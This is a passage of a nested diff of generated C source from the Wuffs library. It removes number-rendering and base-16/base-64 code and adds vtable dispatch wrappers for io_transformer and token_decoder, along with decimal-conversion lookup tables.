63; i++) { -+ if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { -+ const wuffs_base__image_decoder__func_ptrs* func_ptrs = -+ (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); -+ return (*func_ptrs->workbuf_len)(self); -+ } else if (v->vtable_name == NULL) { -+ break; -+ } -+ v++; -+ } - --fail_out_of_bounds: -- do { -- wuffs_base__result_u64 ret; -- ret.status.repr = wuffs_base__error__out_of_bounds; -- ret.value = 0; -- return ret; -- } while (0); -+ return wuffs_base__utility__empty_range_ii_u64(); - } - - // -------- - --// wuffs_base__render_number__first_hundred contains the decimal encodings of --// the first one hundred numbers [0 ..= 99]. --static const uint8_t wuffs_base__render_number__first_hundred[200] = { -- '0', '0', '0', '1', '0', '2', '0', '3', '0', '4', // -- '0', '5', '0', '6', '0', '7', '0', '8', '0', '9', // -- '1', '0', '1', '1', '1', '2', '1', '3', '1', '4', // -- '1', '5', '1', '6', '1', '7', '1', '8', '1', '9', // -- '2', '0', '2', '1', '2', '2', '2', '3', '2', '4', // -- '2', '5', '2', '6', '2', '7', '2', '8', '2', '9', // -- '3', '0', '3', '1', '3', '2', '3', '3', '3', '4', // -- '3', '5', '3', '6', '3', '7', '3', '8', '3', '9', // -- '4', '0', '4', '1', '4', '2', '4', '3', '4', '4', // -- '4', '5', '4', '6', '4', '7', '4', '8', '4', '9', // -- '5', '0', '5', '1', '5', '2', '5', '3', '5', '4', // -- '5', '5', '5', '6', '5', '7', '5', '8', '5', '9', // -- '6', '0', '6', '1', '6', '2', '6', '3', '6', '4', // -- '6', '5', '6', '6', '6', '7', '6', '8', '6', '9', // -- '7', '0', '7', '1', '7', '2', '7', '3', '7', '4', // -- '7', '5', '7', '6', '7', '7', '7', '8', '7', '9', // -- '8', '0', '8', '1', '8', '2', '8', '3', '8', '4', // -- '8', '5', '8', '6', '8', '7', '8', '8', '8', '9', // -- '9', '0', '9', '1', '9', '2', '9', '3', '9', '4', // -- '9', '5', '9', '6', '9', '7', '9', '8', '9', '9', // --}; -- --static size_t // --wuffs_base__private_implementation__render_number_u64(wuffs_base__slice_u8 dst, -- uint64_t x, -- uint32_t options, -- bool neg) { -- uint8_t buf[WUFFS_BASE__U64__BYTE_LENGTH__MAX_INCL]; -- uint8_t* ptr = &buf[0] + sizeof(buf); -- -- while (x >= 100) { -- size_t index = ((size_t)((x % 100) * 2)); -- x /= 100; -- uint8_t s0 = wuffs_base__render_number__first_hundred[index + 0]; -- uint8_t s1 = wuffs_base__render_number__first_hundred[index + 1]; -- ptr -= 2; -- ptr[0] = s0; -- ptr[1] = s1; -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 -+wuffs_base__io_transformer__dst_history_retain_length( -+ const wuffs_base__io_transformer* self) { -+ if (!self) { -+ return wuffs_base__utility__make_optional_u63(false, 0u); - } -- -- if (x < 10) { -- ptr -= 1; -- ptr[0] = (uint8_t)('0' + x); -- } else { -- size_t index = ((size_t)(x * 2)); -- uint8_t s0 = wuffs_base__render_number__first_hundred[index + 0]; -- uint8_t s1 = wuffs_base__render_number__first_hundred[index + 1]; -- ptr -= 2; -- ptr[0] = s0; -- ptr[1] = s1; -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return wuffs_base__utility__make_optional_u63(false, 0u); - } - -- if (neg) { -- ptr -= 1; -- ptr[0] = '-'; -- } else if (options & WUFFS_BASE__RENDER_NUMBER_XXX__LEADING_PLUS_SIGN) { -- ptr -= 1; -- ptr[0] = '+'; -+ const wuffs_base__vtable* v = &self->private_impl.first_vtable; -+ int i; -+ for (i = 0; i < 63; i++) { -+ if (v->vtable_name == wuffs_base__io_transformer__vtable_name) { -+ const wuffs_base__io_transformer__func_ptrs* func_ptrs = -+ (const wuffs_base__io_transformer__func_ptrs*)(v->function_pointers); -+ return (*func_ptrs->dst_history_retain_length)(self); -+ } else if (v->vtable_name == NULL) { -+ break; -+ } -+ v++; - } - -- size_t n = sizeof(buf) - ((size_t)(ptr - &buf[0])); -- if (n > dst.len) { -+ return wuffs_base__utility__make_optional_u63(false, 0u); -+} -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_base__io_transformer__get_quirk( -+ const wuffs_base__io_transformer* self, -+ uint32_t a_key) { -+ if (!self) { -+ return 0; -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { - return 0; - } -- memcpy(dst.ptr + ((options & WUFFS_BASE__RENDER_NUMBER_XXX__ALIGN_RIGHT) -- ? (dst.len - n) -- : 0), -- ptr, n); -- return n; --} - --WUFFS_BASE__MAYBE_STATIC size_t // --wuffs_base__render_number_i64(wuffs_base__slice_u8 dst, -- int64_t x, -- uint32_t options) { -- uint64_t u = (uint64_t)x; -- bool neg = x < 0; -- if (neg) { -- u = 1 + ~u; -+ const wuffs_base__vtable* v = &self->private_impl.first_vtable; -+ int i; -+ for (i = 0; i < 63; i++) { -+ if (v->vtable_name == wuffs_base__io_transformer__vtable_name) { -+ const wuffs_base__io_transformer__func_ptrs* func_ptrs = -+ (const wuffs_base__io_transformer__func_ptrs*)(v->function_pointers); -+ return (*func_ptrs->get_quirk)(self, a_key); -+ } else if (v->vtable_name == NULL) { -+ break; -+ } -+ v++; - } -- return wuffs_base__private_implementation__render_number_u64(dst, u, options, -- neg); --} - --WUFFS_BASE__MAYBE_STATIC size_t // --wuffs_base__render_number_u64(wuffs_base__slice_u8 dst, -- uint64_t x, -- uint32_t options) { -- return wuffs_base__private_implementation__render_number_u64(dst, x, options, -- false); -+ return 0; - } - --// ---------------- Base-16 -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_base__io_transformer__set_quirk( -+ wuffs_base__io_transformer* self, -+ uint32_t a_key, -+ uint64_t a_value) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } - --WUFFS_BASE__MAYBE_STATIC wuffs_base__transform__output // --wuffs_base__base_16__decode2(wuffs_base__slice_u8 dst, -- wuffs_base__slice_u8 src, -- bool src_closed, -- uint32_t options) { -- wuffs_base__transform__output o; -- size_t src_len2 = src.len / 2; -- size_t len; -- if (dst.len < src_len2) { -- len = dst.len; -- o.status.repr = wuffs_base__suspension__short_write; -- } else { -- len = src_len2; -- if (!src_closed) { -- o.status.repr = wuffs_base__suspension__short_read; -- } else if (src.len & 1) { -- o.status.repr = wuffs_base__error__bad_data; -- } else { -- o.status.repr = NULL; -+ const wuffs_base__vtable* v = &self->private_impl.first_vtable; -+ int i; -+ for (i = 0; i < 63; i++) { -+ if (v->vtable_name == wuffs_base__io_transformer__vtable_name) { -+ const wuffs_base__io_transformer__func_ptrs* func_ptrs = -+ (const wuffs_base__io_transformer__func_ptrs*)(v->function_pointers); -+ return (*func_ptrs->set_quirk)(self, a_key, a_value); -+ } else if (v->vtable_name == NULL) { -+ break; - } -+ v++; - } - -- uint8_t* d = dst.ptr; -- uint8_t* s = src.ptr; -- size_t n = len; -+ return wuffs_base__make_status(wuffs_base__error__bad_vtable); -+} - -- while (n--) { -- *d = (uint8_t)((wuffs_base__parse_number__hexadecimal_digits[s[0]] << 4) | -- (wuffs_base__parse_number__hexadecimal_digits[s[1]] & 0x0F)); -- d += 1; -- s += 2; -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_base__io_transformer__transform_io( -+ wuffs_base__io_transformer* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__slice_u8 a_workbuf) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); - } - -- o.num_dst = len; -- o.num_src = len * 2; -- return o; -+ const wuffs_base__vtable* v = &self->private_impl.first_vtable; -+ int i; -+ for (i = 0; i < 63; i++) { -+ if (v->vtable_name == wuffs_base__io_transformer__vtable_name) { -+ const wuffs_base__io_transformer__func_ptrs* func_ptrs = -+ (const wuffs_base__io_transformer__func_ptrs*)(v->function_pointers); -+ return (*func_ptrs->transform_io)(self, a_dst, a_src, a_workbuf); -+ } else if (v->vtable_name == NULL) { -+ break; -+ } -+ v++; -+ } -+ -+ return wuffs_base__make_status(wuffs_base__error__bad_vtable); - } - --WUFFS_BASE__MAYBE_STATIC wuffs_base__transform__output // --wuffs_base__base_16__decode4(wuffs_base__slice_u8 dst, -- wuffs_base__slice_u8 src, -- bool src_closed, -- uint32_t options) { -- wuffs_base__transform__output o; -- size_t src_len4 = src.len / 4; -- size_t len = dst.len < src_len4 ? dst.len : src_len4; -- if (dst.len < src_len4) { -- len = dst.len; -- o.status.repr = wuffs_base__suspension__short_write; -- } else { -- len = src_len4; -- if (!src_closed) { -- o.status.repr = wuffs_base__suspension__short_read; -- } else if (src.len & 1) { -- o.status.repr = wuffs_base__error__bad_data; -- } else { -- o.status.repr = NULL; -- } -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 -+wuffs_base__io_transformer__workbuf_len( -+ const wuffs_base__io_transformer* self) { -+ if (!self) { -+ return wuffs_base__utility__empty_range_ii_u64(); -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return wuffs_base__utility__empty_range_ii_u64(); - } - -- uint8_t* d = dst.ptr; -- uint8_t* s = src.ptr; -- size_t n = len; -- -- while (n--) { -- *d = (uint8_t)((wuffs_base__parse_number__hexadecimal_digits[s[2]] << 4) | -- (wuffs_base__parse_number__hexadecimal_digits[s[3]] & 0x0F)); -- d += 1; -- s += 4; -+ const wuffs_base__vtable* v = &self->private_impl.first_vtable; -+ int i; -+ for (i = 0; i < 63; i++) { -+ if (v->vtable_name == wuffs_base__io_transformer__vtable_name) { -+ const wuffs_base__io_transformer__func_ptrs* func_ptrs = -+ (const wuffs_base__io_transformer__func_ptrs*)(v->function_pointers); -+ return (*func_ptrs->workbuf_len)(self); -+ } else if (v->vtable_name == NULL) { -+ break; -+ } -+ v++; - } - -- o.num_dst = len; -- o.num_src = len * 4; -- return o; -+ return wuffs_base__utility__empty_range_ii_u64(); - } - --WUFFS_BASE__MAYBE_STATIC wuffs_base__transform__output // --wuffs_base__base_16__encode2(wuffs_base__slice_u8 dst, -- wuffs_base__slice_u8 src, -- bool src_closed, -- uint32_t options) { -- wuffs_base__transform__output o; -- size_t dst_len2 = dst.len / 2; -- size_t len; -- if (dst_len2 < src.len) { -- len = dst_len2; -- o.status.repr = wuffs_base__suspension__short_write; -- } else { -- len = src.len; -- if (!src_closed) { -- o.status.repr = wuffs_base__suspension__short_read; -- } else { -- o.status.repr = NULL; -- } -- } -+// -------- - -- uint8_t* d = dst.ptr; -- uint8_t* s = src.ptr; -- size_t n = len; -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_base__token_decoder__decode_tokens( -+ wuffs_base__token_decoder* self, -+ wuffs_base__token_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__slice_u8 a_workbuf) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } - -- while (n--) { -- uint8_t c = *s; -- d[0] = wuffs_base__private_implementation__encode_base16[c >> 4]; -- d[1] = wuffs_base__private_implementation__encode_base16[c & 0x0F]; -- d += 2; -- s += 1; -+ const wuffs_base__vtable* v = &self->private_impl.first_vtable; -+ int i; -+ for (i = 0; i < 63; i++) { -+ if (v->vtable_name == wuffs_base__token_decoder__vtable_name) { -+ const wuffs_base__token_decoder__func_ptrs* func_ptrs = -+ (const wuffs_base__token_decoder__func_ptrs*)(v->function_pointers); -+ return (*func_ptrs->decode_tokens)(self, a_dst, a_src, a_workbuf); -+ } else if (v->vtable_name == NULL) { -+ break; -+ } -+ v++; - } - -- o.num_dst = len * 2; -- o.num_src = len; -- return o; -+ return wuffs_base__make_status(wuffs_base__error__bad_vtable); - } - --WUFFS_BASE__MAYBE_STATIC wuffs_base__transform__output // --wuffs_base__base_16__encode4(wuffs_base__slice_u8 dst, -- wuffs_base__slice_u8 src, -- bool src_closed, -- uint32_t options) { -- wuffs_base__transform__output o; -- size_t dst_len4 = dst.len / 4; -- size_t len; -- if (dst_len4 < src.len) { -- len = dst_len4; -- o.status.repr = wuffs_base__suspension__short_write; -- } else { -- len = src.len; -- if (!src_closed) { -- o.status.repr = wuffs_base__suspension__short_read; -- } else { -- o.status.repr = NULL; -- } -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_base__token_decoder__get_quirk( -+ const wuffs_base__token_decoder* self, -+ uint32_t a_key) { -+ if (!self) { -+ return 0; -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; - } - -- uint8_t* d = dst.ptr; -- uint8_t* s = src.ptr; -- size_t n = len; -- -- while (n--) { -- uint8_t c = *s; -- d[0] = '\\'; -- d[1] = 'x'; -- d[2] = wuffs_base__private_implementation__encode_base16[c >> 4]; -- d[3] = wuffs_base__private_implementation__encode_base16[c & 0x0F]; -- d += 4; -- s += 1; -+ const wuffs_base__vtable* v = &self->private_impl.first_vtable; -+ int i; -+ for (i = 0; i < 63; i++) { -+ if (v->vtable_name == wuffs_base__token_decoder__vtable_name) { -+ const wuffs_base__token_decoder__func_ptrs* func_ptrs = -+ (const wuffs_base__token_decoder__func_ptrs*)(v->function_pointers); -+ return (*func_ptrs->get_quirk)(self, a_key); -+ } else if (v->vtable_name == NULL) { -+ break; -+ } -+ v++; - } - -- o.num_dst = len * 4; -- o.num_src = len; -- return o; -+ return 0; - } - --// ---------------- Base-64 -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_base__token_decoder__set_quirk( -+ wuffs_base__token_decoder* self, -+ uint32_t a_key, -+ uint64_t a_value) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } - --// The two base-64 alphabets, std and url, differ only in the last two codes. --// - std: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" --// - url: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_" -+ const wuffs_base__vtable* v = &self->private_impl.first_vtable; -+ int i; -+ for (i = 0; i < 63; i++) { -+ if (v->vtable_name == wuffs_base__token_decoder__vtable_name) { -+ const wuffs_base__token_decoder__func_ptrs* func_ptrs = -+ (const wuffs_base__token_decoder__func_ptrs*)(v->function_pointers); -+ return (*func_ptrs->set_quirk)(self, a_key, a_value); -+ } else if (v->vtable_name == NULL) { -+ break; -+ } -+ v++; -+ } - --static const uint8_t wuffs_base__base_64__decode_std[256] = { -- // 0 1 2 3 4 5 6 7 -- // 8 9 A B C D E F -- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x00 ..= 0x07. -- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x08 ..= 0x0F. -- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x10 ..= 0x17. -- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x18 ..= 0x1F. -- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x20 ..= 0x27. -- 0x80, 0x80, 0x80, 0x3E, 0x80, 0x80, 0x80, 0x3F, // 0x28 ..= 0x2F. -- 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, // 0x30 ..= 0x37. -- 0x3C, 0x3D, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x38 ..= 0x3F. -+ return wuffs_base__make_status(wuffs_base__error__bad_vtable); -+} - -- 0x80, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // 0x40 ..= 0x47. -- 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, // 0x48 ..= 0x4F. -- 0x0F, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, // 0x50 ..= 0x57. -- 0x17, 0x18, 0x19, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x58 ..= 0x5F. -- 0x80, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F, 0x20, // 0x60 ..= 0x67. -- 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, // 0x68 ..= 0x6F. -- 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, // 0x70 ..= 0x77. -- 0x31, 0x32, 0x33, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x78 ..= 0x7F. -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 -+wuffs_base__token_decoder__workbuf_len( -+ const wuffs_base__token_decoder* self) { -+ if (!self) { -+ return wuffs_base__utility__empty_range_ii_u64(); -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return wuffs_base__utility__empty_range_ii_u64(); -+ } - -- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x80 ..= 0x87. -- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x88 ..= 0x8F. -- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x90 ..= 0x97. -- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x98 ..= 0x9F. -- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xA0 ..= 0xA7. -- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xA8 ..= 0xAF. -- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xB0 ..= 0xB7. -- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xB8 ..= 0xBF. -+ const wuffs_base__vtable* v = &self->private_impl.first_vtable; -+ int i; -+ for (i = 0; i < 63; i++) { -+ if (v->vtable_name == wuffs_base__token_decoder__vtable_name) { -+ const wuffs_base__token_decoder__func_ptrs* func_ptrs = -+ (const wuffs_base__token_decoder__func_ptrs*)(v->function_pointers); -+ return (*func_ptrs->workbuf_len)(self); -+ } else if (v->vtable_name == NULL) { -+ break; -+ } -+ v++; -+ } - -- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xC0 ..= 0xC7. -- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xC8 ..= 0xCF. -- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xD0 ..= 0xD7. -- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xD8 ..= 0xDF. -- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xE0 ..= 0xE7. -- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xE8 ..= 0xEF. -- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xF0 ..= 0xF7. -- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xF8 ..= 0xFF. -- // 0 1 2 3 4 5 6 7 -- // 8 9 A B C D E F --}; -+ return wuffs_base__utility__empty_range_ii_u64(); -+} - --static const uint8_t wuffs_base__base_64__decode_url[256] = { -- // 0 1 2 3 4 5 6 7 -- // 8 9 A B C D E F -- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x00 ..= 0x07. -- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x08 ..= 0x0F. -- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x10 ..= 0x17. -- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x18 ..= 0x1F. -- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x20 ..= 0x27. -- 0x80, 0x80, 0x80, 0x80, 0x80, 0x3E, 0x80, 0x80, // 0x28 ..= 0x2F. -- 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, // 0x30 ..= 0x37. -- 0x3C, 0x3D, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x38 ..= 0x3F. -+#endif // !defined(WUFFS_CONFIG__MODULES) || -+ // defined(WUFFS_CONFIG__MODULE__BASE) || -+ // defined(WUFFS_CONFIG__MODULE__BASE__INTERFACES) - -- 0x80, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // 0x40 ..= 0x47. -- 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, // 0x48 ..= 0x4F. -- 0x0F, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, // 0x50 ..= 0x57. -- 0x17, 0x18, 0x19, 0x80, 0x80, 0x80, 0x80, 0x3F, // 0x58 ..= 0x5F. -- 0x80, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F, 0x20, // 0x60 ..= 0x67. -- 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, // 0x68 ..= 0x6F. -- 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, // 0x70 ..= 0x77. -- 0x31, 0x32, 0x33, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x78 ..= 0x7F. -+#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BASE) || \ -+ defined(WUFFS_CONFIG__MODULE__BASE__FLOATCONV) - -- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x80 ..= 0x87. -- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x88 ..= 0x8F. -- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x90 ..= 0x97. -- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x98 ..= 0x9F. -- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xA0 ..= 0xA7. -- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xA8 ..= 0xAF. -- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xB0 ..= 0xB7. -- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xB8 ..= 0xBF. -+// ---------------- IEEE 754 Floating Point - -- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xC0 ..= 0xC7. -- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xC8 ..= 0xCF. -- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xD0 ..= 0xD7. -- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xD8 ..= 0xDF. -- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xE0 ..= 0xE7. -- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xE8 ..= 0xEF. -- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xF0 ..= 0xF7. -- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xF8 ..= 0xFF. -- // 0 1 2 3 4 5 6 7 -- // 8 9 A B C D E F -+// The etc__hpd_left_shift and etc__powers_of_5 tables were printed by -+// script/print-hpd-left-shift.go. That script has an optional -comments flag, -+// whose output is not copied here, which prints further detail. -+// -+// These tables are used in -+// wuffs_private_impl__high_prec_dec__lshift_num_new_digits. -+ -+// wuffs_private_impl__hpd_left_shift[i] encodes the number of new digits -+// created after multiplying a positive integer by (1 << i): the additional -+// length in the decimal representation. For example, shifting "234" by 3 -+// (equivalent to multiplying by 8) will produce "1872". Going from a 3-length -+// string to a 4-length string means that 1 new digit was added (and existing -+// digits may have changed). -+// -+// Shifting by i can add either N or N-1 new digits, depending on whether the -+// original positive integer compares >= or < to the i'th power of 5 (as 10 -+// equals 2 * 5). Comparison is lexicographic, not numerical. -+// -+// For example, shifting by 4 (i.e. multiplying by 16) can add 1 or 2 new -+// digits, depending on a lexicographic comparison to (5 ** 4), i.e. "625": -+// - ("1" << 4) is "16", which adds 1 new digit. -+// - ("5678" << 4) is "90848", which adds 1 new digit. -+// - ("624" << 4) is "9984", which adds 1 new digit. -+// - ("62498" << 4) is "999968", which adds 1 new digit. -+// - ("625" << 4) is "10000", which adds 2 new digits. -+// - ("625001" << 4) is "10000016", which adds 2 new digits. -+// - ("7008" << 4) is "112128", which adds 2 new digits. -+// - ("99" << 4) is "1584", which adds 2 new digits. -+// -+// Thus, when i is 4, N is 2 and (5 ** i) is "625". This etc__hpd_left_shift -+// array encodes this as: -+// - etc__hpd_left_shift[4] is 0x1006 = (2 << 11) | 0x0006. -+// - etc__hpd_left_shift[5] is 0x1009 = (? << 11) | 0x0009. -+// where the ? isn't relevant for i == 4. -+// -+// The high 5 bits of etc__hpd_left_shift[i] is N, the higher of the two -+// possible number of new digits. The low 11 bits are an offset into the -+// etc__powers_of_5 array (of length 0x051C, so offsets fit in 11 bits). When i -+// is 4, its offset and the next one is 6 and 9, and etc__powers_of_5[6 .. 9] -+// is the string "\x06\x02\x05", so the relevant power of 5 is "625". -+// -+// Thanks to Ken Thompson for the original idea. -+static const uint16_t wuffs_private_impl__hpd_left_shift[65] = { -+ 0x0000, 0x0800, 0x0801, 0x0803, 0x1006, 0x1009, 0x100D, 0x1812, 0x1817, -+ 0x181D, 0x2024, 0x202B, 0x2033, 0x203C, 0x2846, 0x2850, 0x285B, 0x3067, -+ 0x3073, 0x3080, 0x388E, 0x389C, 0x38AB, 0x38BB, 0x40CC, 0x40DD, 0x40EF, -+ 0x4902, 0x4915, 0x4929, 0x513E, 0x5153, 0x5169, 0x5180, 0x5998, 0x59B0, -+ 0x59C9, 0x61E3, 0x61FD, 0x6218, 0x6A34, 0x6A50, 0x6A6D, 0x6A8B, 0x72AA, -+ 0x72C9, 0x72E9, 0x7B0A, 0x7B2B, 0x7B4D, 0x8370, 0x8393, 0x83B7, 0x83DC, -+ 0x8C02, 0x8C28, 0x8C4F, 0x9477, 0x949F, 0x94C8, 0x9CF2, 0x051C, 0x051C, -+ 0x051C, 0x051C, - }; - --static const uint8_t wuffs_base__base_64__encode_std[64] = { -- // 0 1 2 3 4 5 6 7 -- // 8 9 A B C D E F -- 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, // 0x00 ..= 0x07. -- 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 0x50, // 0x08 ..= 0x0F. -- 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, // 0x10 ..= 0x17. -- 0x59, 0x5A, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, // 0x18 ..= 0x1F. -- 0x67, 0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, // 0x20 ..= 0x27. -- 0x6F, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, // 0x28 ..= 0x2F. -- 0x77, 0x78, 0x79, 0x7A, 0x30, 0x31, 0x32, 0x33, // 0x30 ..= 0x37. -- 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x2B, 0x2F, // 0x38 ..= 0x3F. -+// wuffs_private_impl__powers_of_5 contains the powers of 5, concatenated -+// together: "5", "25", "125", "625", "3125", etc. -+static const uint8_t wuffs_private_impl__powers_of_5[0x051C] = { -+ 5, 2, 5, 1, 2, 5, 6, 2, 5, 3, 1, 2, 5, 1, 5, 6, 2, 5, 7, 8, 1, 2, 5, 3, 9, -+ 0, 6, 2, 5, 1, 9, 5, 3, 1, 2, 5, 9, 7, 6, 5, 6, 2, 5, 4, 8, 8, 2, 8, 1, 2, -+ 5, 2, 4, 4, 1, 